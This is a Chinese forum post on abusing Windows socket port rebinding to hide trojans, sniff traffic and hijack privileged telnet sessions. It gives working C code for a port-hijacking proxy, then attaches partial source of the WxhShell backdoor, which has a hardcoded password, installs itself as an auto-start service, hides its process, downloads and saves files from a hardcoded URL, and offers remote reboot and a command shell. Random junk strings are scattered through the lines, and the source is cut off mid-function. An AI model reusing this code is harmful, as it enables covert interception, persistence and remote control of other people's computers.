社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16035阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xG_LEk( zD  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +56N}MAs  
cn ~/P|B[  
  saddr.sin_family = AF_INET; p!oO}gE  
0P_=Oy"l-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /penB[ 1i  
7)RDu,fx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \wZ 4enm  
~,^pya  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 YCPU84f  
hwx1fpo4  
  这意味着什么?意味着可以进行如下的攻击: SEKR`2Zz,  
2ezk<R5q+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 nYsB^Nr6  
/Fr*k5I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ez1-Nx  
v[Mh[CyB  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3VZ}5  
14~#k%zO(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FhP$R}F  
AU$<W"%R  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 tDC?St1  
at|.Q*&a#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,+P2B%2c  
'G1~ A +  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 R$Rub/b6  
;No i H&  
  #include :Bh7mF-1  
  #include 1La?x'{2MP  
  #include xcQD]"   
  #include    uQhI)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `uwSxt  
  int main() =L\&} kzB  
  { Kj7 ?_o{  
  WORD wVersionRequested; ul-O3]\'@  
  DWORD ret; /$\N_`bM  
  WSADATA wsaData; /Moyn"Kj{  
  BOOL val; v)j3YhY  
  SOCKADDR_IN saddr; N,bH@Q.Ci  
  SOCKADDR_IN scaddr; Hg~8Td**  
  int err; >qy$W4  
  SOCKET s; \b;z$P\+*  
  SOCKET sc; qV#,]mX  
  int caddsize; cy64xR BB  
  HANDLE mt; G_QV'zQ  
  DWORD tid;   6ys|'<?  
  wVersionRequested = MAKEWORD( 2, 2 ); []-<-TqJ  
  err = WSAStartup( wVersionRequested, &wsaData ); /B 53Z[yL  
  if ( err != 0 ) { 1rIL[(r4  
  printf("error!WSAStartup failed!\n"); GU0[K#%  
  return -1; w-"tA`F4  
  } Q<Q?#v7NX  
  saddr.sin_family = AF_INET; 0 wjL=]X1e  
   'u#c_m! 9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5oe{i/#di  
{zI>"%$u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  \4j(el  
  saddr.sin_port = htons(23); D!DL6l`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P(b ds  
  { 84_Y+_9  
  printf("error!socket failed!\n"); \IhHbcF`d  
  return -1; ;uho.)%N`F  
  } -]Ny-[P  
  val = TRUE; yJ:rry  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 F Jp<J  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) HPY;U N  
  { [Mk:Zz%  
  printf("error!setsockopt failed!\n"); j.yh>"de  
  return -1; /s~BE ,su  
  } &s{d r  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J 1R5_b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2"QcjFW%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }vb.>hy  
z%;_h-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0Of6$`  
  { C';Dc4j  
  ret=GetLastError(); GP(nb,  
  printf("error!bind failed!\n"); 65vsQ|Zw  
  return -1; #~o<9O  
  } s$ kvLy<  
  listen(s,2); SN 4JX  
  while(1) -C2[ZP-  
  { sk5B} -  
  caddsize = sizeof(scaddr); zWrynJ}s  
  //接受连接请求 Mn 8| K nh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9JqT"zj  
  if(sc!=INVALID_SOCKET) u f1s}/M  
  { x9o(q`N  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *^iSP(dg  
  if(mt==NULL) ?@^gpVK{  
  { "H9q%S,FH  
  printf("Thread Creat Failed!\n"); 6"9(ce KX  
  break; K}DrJ/s  
  } ,:{+-v(  
  } mLV0J '  
  CloseHandle(mt); _4 YT2k  
  } Qoa&]]  
  closesocket(s); /&E]qc*-p  
  WSACleanup(); Uuktq)NU  
  return 0; 5 0dx[v8  
  }   pQ xv_4  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ml,in49  
  { sD9OV6^{?K  
  SOCKET ss = (SOCKET)lpParam; g^{a;=  
  SOCKET sc; )m I i.  
  unsigned char buf[4096]; ,va2:V  
  SOCKADDR_IN saddr; 6n\){dkZ~  
  long num; 5~OKKSUmT  
  DWORD val; d/b\:[B@  
  DWORD ret; ~wu\j][2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QJ%N80  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xJin %:O  
  saddr.sin_family = AF_INET; <r)5jf  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Zul@aS !  
  saddr.sin_port = htons(23); gX`C76P!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {*"\6 8e  
  { NOFH  
  printf("error!socket failed!\n"); N+vsQ!Qz  
  return -1; psuK\ s  
  } ex.^V sf_  
  val = 100; lm*C:e)4A  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ./<giTR:p  
  { 4j(*%da  
  ret = GetLastError(); 5^{I}Q  
  return -1; D|2lBU  
  } hP_{$c{4:g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B}@CtVWFz  
  { Lie= DD  
  ret = GetLastError(); x=N0H  
  return -1; '8LHX6FXK  
  } F5H]$AjW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q6p75$SVq  
  { [xXV5 JU  
  printf("error!socket connect failed!\n"); A~;.9{6J[t  
  closesocket(sc); Xif>ZL?aXb  
  closesocket(ss); #dFE}!"#`  
  return -1; L% T%6p_  
  } [KMS/'; ]  
  while(1) `j'gt&  
  { id)J;!^;J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H{uR+&<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g(R!M0hdF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'X~CrgQl  
  num = recv(ss,buf,4096,0); JHuA}f{2&  
  if(num>0) r@Xh8 r;  
  send(sc,buf,num,0); Jmu oYlf|  
  else if(num==0) g@m__   
  break; L> rW S-  
  num = recv(sc,buf,4096,0); +D?Re%HI  
  if(num>0) uFG ;AY|  
  send(ss,buf,num,0); 0xV[C4E[6  
  else if(num==0) LAGg(:3f3  
  break; b~?3HY:t~K  
  } C9j5Pd5q1L  
  closesocket(ss); jF{)2|5  
  closesocket(sc); U8eU[|-8O/  
  return 0 ; &D`$YUl@  
  } fK{Z{)D  
^AT#A<{1(  
j?(@x>HA  
========================================================== .p'\@@o5  
RPkOtRKL=w  
下边附上一个代码,,WXhSHELL DCgiTT\  
h: zi8;(  
========================================================== E6xWo)`%5s  
scZ'/(b-E  
#include "stdafx.h" $oIGlKc:L  
iJk/fvi  
#include <stdio.h> UO' X"`  
#include <string.h> 3ZqtIQY`  
#include <windows.h> <7oZV^nd *  
#include <winsock2.h> 8u Z4[  
#include <winsvc.h> nN(Q}bF  
#include <urlmon.h> ~{D:vj4>  
h)T-7b  
#pragma comment (lib, "Ws2_32.lib") tp b(.`G  
#pragma comment (lib, "urlmon.lib") c#pVN](?  
; zfBe%Uf  
#define MAX_USER   100 // 最大客户端连接数 aIE\B4w  
#define BUF_SOCK   200 // sock buffer eD N%p  
#define KEY_BUFF   255 // 输入 buffer {\kDu#18Ld  
xKoNo^FF  
#define REBOOT     0   // 重启 Ot3+<{  
#define SHUTDOWN   1   // 关机 Of{'A  
L/:u  
#define DEF_PORT   5000 // 监听端口 7P D D  
leEzfbb{'.  
#define REG_LEN     16   // 注册表键长度 tUs{/Je  
#define SVC_LEN     80   // NT服务名长度 [~ |e:  
@TnAO8Q>XD  
// 从dll定义API :yAvo4 )  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `pXC= []B2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BYs^?IfW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~wd~57i@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R(HW0@R@w  
po+ 1  
// wxhshell配置信息 hN_,Vyf  
struct WSCFG { D 3}e{J8  
  int ws_port;         // 监听端口 ?Tk4Vt  
  char ws_passstr[REG_LEN]; // 口令 )h(yh50 B  
  int ws_autoins;       // 安装标记, 1=yes 0=no g$S<_$Iey  
  char ws_regname[REG_LEN]; // 注册表键名  \4&FW|mx  
  char ws_svcname[REG_LEN]; // 服务名 Gp))1b';  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?[q.1O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XJf1LGT5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }UHoa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B9h>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *!+?%e{;b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0}aw9g  
W$Zc;KRz$0  
}; .e2 K\o  
;?:X_C  
// default Wxhshell configuration h2edA#bub  
struct WSCFG wscfg={DEF_PORT, o8S)8_3  
    "xuhuanlingzhe", UjQi9ELoJ  
    1, oNBYJ]t  
    "Wxhshell", g/m%A2M&aH  
    "Wxhshell", ( j~trpe,  
            "WxhShell Service", ]6EXaf#  
    "Wrsky Windows CmdShell Service", 4kQL\Ld#E%  
    "Please Input Your Password: ", >a1 ovKF  
  1, AT,?dxP J  
  "http://www.wrsky.com/wxhshell.exe", c95{Xy  
  "Wxhshell.exe" |CjE }5Op>  
    };  W,)qE^+  
dKTUW<C  
// 消息定义模块 p uLQ_MNV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; as| MB (  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `F1 ( v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;u: }rA)  
char *msg_ws_ext="\n\rExit."; SwPc<Z?P  
char *msg_ws_end="\n\rQuit."; Xa32p_|5~  
char *msg_ws_boot="\n\rReboot..."; @Y2&v956  
char *msg_ws_poff="\n\rShutdown..."; ^aO\WKkA  
char *msg_ws_down="\n\rSave to "; IK^jzx   
18U CZ;)>  
char *msg_ws_err="\n\rErr!"; O}_Z"y  
char *msg_ws_ok="\n\rOK!"; >|So`C3:e  
nLjo3yvV..  
char ExeFile[MAX_PATH]; h|Uy!?l  
int nUser = 0; dq ~=P>  
HANDLE handles[MAX_USER]; u.sn"G-c  
int OsIsNt; ZX!u\O|w  
/>9?/&N6"  
SERVICE_STATUS       serviceStatus; &O.S ;b*+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v><uHjP  
o\YF_235  
// 函数声明 nANoy6z:  
int Install(void); I~>L4~g)  
int Uninstall(void); h47l;`kD-#  
int DownloadFile(char *sURL, SOCKET wsh); #0j,1NpL  
int Boot(int flag); ROHr%'owgL  
void HideProc(void); ,4%'~8'3  
int GetOsVer(void); nY<hfqof  
int Wxhshell(SOCKET wsl); MM%c   
void TalkWithClient(void *cs); vMOit,{  
int CmdShell(SOCKET sock); 1JoRP~mMxa  
int StartFromService(void); #5x[Z[m  
int StartWxhshell(LPSTR lpCmdLine); ` `R;x  
{?9s~{Dl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0BTLIV$d;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Tfl4MDZb  
DHV#PLbN$  
// 数据结构和表定义 T9+ ?A l  
SERVICE_TABLE_ENTRY DispatchTable[] = +}@HtjM  
{ [UHDN:y  
{wscfg.ws_svcname, NTServiceMain}, cHMS[.=;  
{NULL, NULL} Y+tXWN"8  
}; =NzA2td  
m ,U`hPJ  
// 自我安装 nEM>*;iE   
int Install(void) vWwnC)5  
{ fH7o,U|  
  char svExeFile[MAX_PATH]; @E$PjdB5M  
  HKEY key; AhARBgf<  
  strcpy(svExeFile,ExeFile); )5j%."  
mSzBNvc i  
// 如果是win9x系统,修改注册表设为自启动 }X3SjNd q  
if(!OsIsNt) { vO2o/   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rs R0V+(W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !s]LWCX+|  
  RegCloseKey(key); QMfa~TH#p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [S/]Vk|4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]64mSB  
  RegCloseKey(key); *_z5Pa`A  
  return 0; 6 /Apdn1[  
    } rnVh ]xJ  
  } h*Y);mc$#  
} 8v M}moper  
else { {qCmZn5  
+M6qbIO  
// 如果是NT以上系统,安装为系统服务 8eSIY17  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *Ki ],>_~  
if (schSCManager!=0) u9FXZK7  
{ +]Y&las  
  SC_HANDLE schService = CreateService +t R6[%  
  ( {7)D/WY5  
  schSCManager, Ogf myYMtc  
  wscfg.ws_svcname, 4cql?W(D  
  wscfg.ws_svcdisp, ?s("@dz_  
  SERVICE_ALL_ACCESS, d"|XN{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <m80e),~  
  SERVICE_AUTO_START, _n(NPFV  
  SERVICE_ERROR_NORMAL, }xHoitOD  
  svExeFile, H\2+cAFN#  
  NULL, %zs 1v]  
  NULL, I#kK! m1Q  
  NULL, *Ri?mEv hF  
  NULL, 0EYK3<k9!  
  NULL S ; x;FU  
  ); z.:{   
  if (schService!=0) JI}(R4uV  
  { /GNRu  
  CloseServiceHandle(schService); $LZf&q:\]*  
  CloseServiceHandle(schSCManager); :xfD>K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tZ[Y~],F  
  strcat(svExeFile,wscfg.ws_svcname); 9/MUzt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `av8|;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8ltHR]v  
  RegCloseKey(key); iZQwo3"8r  
  return 0; ](vsh gp2  
    } l/_3H\iM  
  } !=#E/il,  
  CloseServiceHandle(schSCManager); 0CxQ@~ttl  
} A?3hNvfx  
} lkV% k1w  
:QsGwhB  
return 1; gO?+:}!  
} hq/\'Z&!+P  
pK#Ze/!  
// 自我卸载 d+%1q  
int Uninstall(void) hNXPm~OK\  
{ @YP\!#"8  
  HKEY key; f8)D|  
\@Gyl_6^  
if(!OsIsNt) { UHz*Tfjb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TdP_L/>|J  
  RegDeleteValue(key,wscfg.ws_regname); E) >~0jv  
  RegCloseKey(key); G.O0*E2V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0,(U_+ n  
  RegDeleteValue(key,wscfg.ws_regname); -@G |i$!  
  RegCloseKey(key); rB}UFS)  
  return 0; [syuoJ  
  } I~MBR2$9  
} yE-&TW_q:>  
} hZ.Sj~> 7`  
else { _Q/D%7[pa  
(^Xp\dyZL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kqSCKY1  
if (schSCManager!=0) {!xPq%  
{ |,5b[Y"Dt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4-=>># P  
  if (schService!=0) er^z:1'  
  { X",fp  
  if(DeleteService(schService)!=0) { %WCA?W0:4  
  CloseServiceHandle(schService); tuK"}HepB  
  CloseServiceHandle(schSCManager); =R!=uml(  
  return 0; t/_w}  
  } #;a 1=8H  
  CloseServiceHandle(schService); UKQ ,]VC  
  } f!*b8ND^R  
  CloseServiceHandle(schSCManager); qI<6% ^i  
} ,v$gQU2  
} X}_}`wIn  
Q$W0>bUP  
return 1; U n2xZ[4  
} A7 .C  
t qbS!r  
// 从指定url下载文件 TvAA  
int DownloadFile(char *sURL, SOCKET wsh) O$Wt\Y <q  
{ G!oq ;<  
  HRESULT hr; 4>{q("r,  
char seps[]= "/"; n<kcK  
char *token; t</rvAH E  
char *file; `Qv7aY  
char myURL[MAX_PATH]; ? 8S0  
char myFILE[MAX_PATH]; B>t$Z5Q^X  
O:RPH{D  
strcpy(myURL,sURL); G[r_|-^S  
  token=strtok(myURL,seps); 8=T;R&U^M  
  while(token!=NULL) pQ*9)C   
  { U#+S9jWe  
    file=token; WhSQ>h!@s  
  token=strtok(NULL,seps); 0X`Qt[  
  } ss%ahs  
jio1 #&  
GetCurrentDirectory(MAX_PATH,myFILE); p(%7|'  
strcat(myFILE, "\\"); RqXcL,,9  
strcat(myFILE, file); 1a| q&L`o  
  send(wsh,myFILE,strlen(myFILE),0); [sTr#9Z  
send(wsh,"...",3,0); #,qw~l]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;) 5d wq  
  if(hr==S_OK) Jj|HeZ1C f  
return 0; Yp./3b VO  
else AASw^A3p  
return 1; z* YkD"]B  
%z J)mOu  
} AR]y p{NS  
II)\rVP5  
// 系统电源模块 PLKp<kg  
int Boot(int flag) IBf&'/ 8\  
{ rv&(yA  
  HANDLE hToken; S$+vRX7  
  TOKEN_PRIVILEGES tkp; Bra>C  
 <G{m=  
  if(OsIsNt) { yd`xmc)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v6HBO#F'V{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iT%aAVs  
    tkp.PrivilegeCount = 1; Va\dMv-b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hkJ4,.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  3@J0-w  
if(flag==REBOOT) { V z8o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k)b}"' I  
  return 0; c#$B;?  
} 05LVfgJ'q  
else { Cv>|>Ob#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %8>s:YG  
  return 0; 4gb2$"!  
} &kHp}\  
  } Ji :2P*  
  else {  VD;Ot<%  
if(flag==REBOOT) { V2,54YE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PSI5$Vna4p  
  return 0; wRgmw 4  
} -f#0$Z/0  
else { "8&pT^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7!#x-KR~5  
  return 0; 0_}OKn)J  
} (\, <RC\  
} ?5Wjy  
yaMNt}y-q  
return 1; 4v33{sp  
} wxkCmrV  
1LZ?!Lw  
// win9x进程隐藏模块 (#BkL:dg  
void HideProc(void) ePq(:ih  
{ a57Y9.H`o  
:`2<SF^0O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A)kx,,[  
  if ( hKernel != NULL ) ]U!vZY@\  
  { f'0n^mSP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aA-A>z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4!i`9w$$"  
    FreeLibrary(hKernel); u01 'f-h  
  } [!]a' T#x  
L$cNxz0$  
return; #M$[C d I$  
} }tF/ca:XPQ  
-GD_xk  
// 获取操作系统版本 "yCCei,hA?  
int GetOsVer(void) ^o_2=91  
{ =dHM)OXD"  
  OSVERSIONINFO winfo; d=o|)kV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FAfk;<#'n+  
  GetVersionEx(&winfo); x9Y1v1!5Pu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $HF. 02{|  
  return 1; +wXrQV  
  else ,=O`'l >K  
  return 0; AV Gu*  
} Yc3\NqQM  
O%H_._#N`  
// 客户端句柄模块 l9lBhltOH  
int Wxhshell(SOCKET wsl) 1"?KQU  
{ q&Y'zyHLP  
  SOCKET wsh;  U":hJ*F)  
  struct sockaddr_in client; l~;H~h!h/  
  DWORD myID; '3 w=D )  
"^F#oo%L  
  while(nUser<MAX_USER) NeAkJG=<  
{ svCD&~|K#  
  int nSize=sizeof(client); Y (x_bJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); % obR2%  
  if(wsh==INVALID_SOCKET) return 1; %'a%ynFs  
1uZ[Ewl]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (MY#;v\AYE  
if(handles[nUser]==0) rL3<r  
  closesocket(wsh); mEfI2P)#|  
else ;,[6 n|M  
  nUser++; z6ISJb  
  } ']Gqa$(YC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C8rD54A'M  
I|9(*tq)  
  return 0; HS XS%v/Y  
} lYmqFd~p  
(4cWq!ax<$  
// 关闭 socket ^q5~;_z|  
void CloseIt(SOCKET wsh) 3('=+d[}Vw  
{ \ T/i]z  
closesocket(wsh); nDu f<mw  
nUser--; ^E\{&kaUp  
ExitThread(0); Qz\yoI8JA,  
} ( NWT/yBx  
L`;p.L Bs_  
// 客户端请求句柄 3XF.$=@  
void TalkWithClient(void *cs) Tm(XM<  
{ ,yus44w[  
M.$Li#So,  
  SOCKET wsh=(SOCKET)cs; g@wF2=  
  char pwd[SVC_LEN]; qYR $5  
  char cmd[KEY_BUFF];  N-`Vb0;N  
char chr[1]; |I-;CoAg  
int i,j; ~qt)r_jW  
3:@2gp!tq  
  while (nUser < MAX_USER) { n|2`y?  
Z>gxECi  
if(wscfg.ws_passstr) { *GleeJWz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 74Xk^  8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wI><kdz  
  //ZeroMemory(pwd,KEY_BUFF);  UhN16|x  
      i=0; G6(k wv4  
  while(i<SVC_LEN) { Rt:k4Q   
Yv k Qh{  
  // 设置超时 [zv>Wlf,%  
  fd_set FdRead; !l|v O(  
  struct timeval TimeOut; 2_M+akqy^  
  FD_ZERO(&FdRead); 4 AZ~<e\  
  FD_SET(wsh,&FdRead); T Po%zZo  
  TimeOut.tv_sec=8; z%$ E6Im  
  TimeOut.tv_usec=0; oFM\L^Y?$$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oNQ;9&Z,^2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wgfA\7Z  
.] mYpz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (;v)0&h  
  pwd=chr[0]; oJa6)+b(3  
  if(chr[0]==0xd || chr[0]==0xa) { YL-/z4g  
  pwd=0; Z?X0:WK  
  break; _OV\W'RrA  
  } w}No ^.I*4  
  i++; u$ C@0d  
    } =sy>_   
56gpAc  
  // 如果是非法用户,关闭 socket U"$Q$ OFs  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ck;O59A"&-  
} 7?Q@Hj(:NT  
o#3?")>|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y_EkW f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uw!  
IN=pki |.  
while(1) { VH[r@Pn  
BCsz8U!  
  ZeroMemory(cmd,KEY_BUFF); sqTBlP  
Ay)q %:qx  
      // 自动支持客户端 telnet标准   :K.%^ag=j  
  j=0;  R}Pw#*B  
  while(j<KEY_BUFF) { [M>Md-pj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QK _1!t3  
  cmd[j]=chr[0]; 88}+.-3t$  
  if(chr[0]==0xa || chr[0]==0xd) {  7'u<)V  
  cmd[j]=0; dv=y,q@W  
  break; 'f&o%5]  
  } RrrW0<Ed  
  j++; r@N 0%JZZ  
    } j !^Tw.Ty  
{Hncm  
  // 下载文件  :VwU2  
  if(strstr(cmd,"http://")) { .K`OEdr<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wKF #8Y  
  if(DownloadFile(cmd,wsh)) - s[=$pDU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); piYv }4;:(  
  else OQzJRu)mF#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F*V<L   
  } <!b~7sZkTc  
  else { }$M 2XF  
'=MaO@ @  
    switch(cmd[0]) { MuNM)pyxp  
  5`qt82Qm  
  // 帮助 ,XT#V\qne  
  case '?': { nk.Y#+1)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A4LGF  
    break; Z$ qFjWp  
  } AA][}lU:5  
  // 安装 :g)0-gN   
  case 'i': { k. bzh.  
    if(Install()) E)==!T@E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hsV+?#I  
    else )aoB -Lu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \zj _6Os  
    break; s_]p6M  
    } $=dp)  
  // 卸载  2|'v[  
  case 'r': { a*LT<N  
    if(Uninstall()) YnnpgR.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gcYx-gA}  
    else csn/h$`-@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xlPUu m-o  
    break; TDI8L\rr  
    } wMy$T<:   
  // 显示 wxhshell 所在路径 m"Y;GzqQl  
  case 'p': { .C^1.)  
    char svExeFile[MAX_PATH]; &`>[4D*  
    strcpy(svExeFile,"\n\r"); kPwgayz  
      strcat(svExeFile,ExeFile); 7#n<d879e%  
        send(wsh,svExeFile,strlen(svExeFile),0); =Y`P}vI]w%  
    break; Rz}?@zh_8  
    } n}==  
  // 重启 \PS{/XK  
  case 'b': { (IX iwu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^l1tQnj)7  
    if(Boot(REBOOT)) =H*}{'#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); shW$V93<  
    else { U3r[ysf  
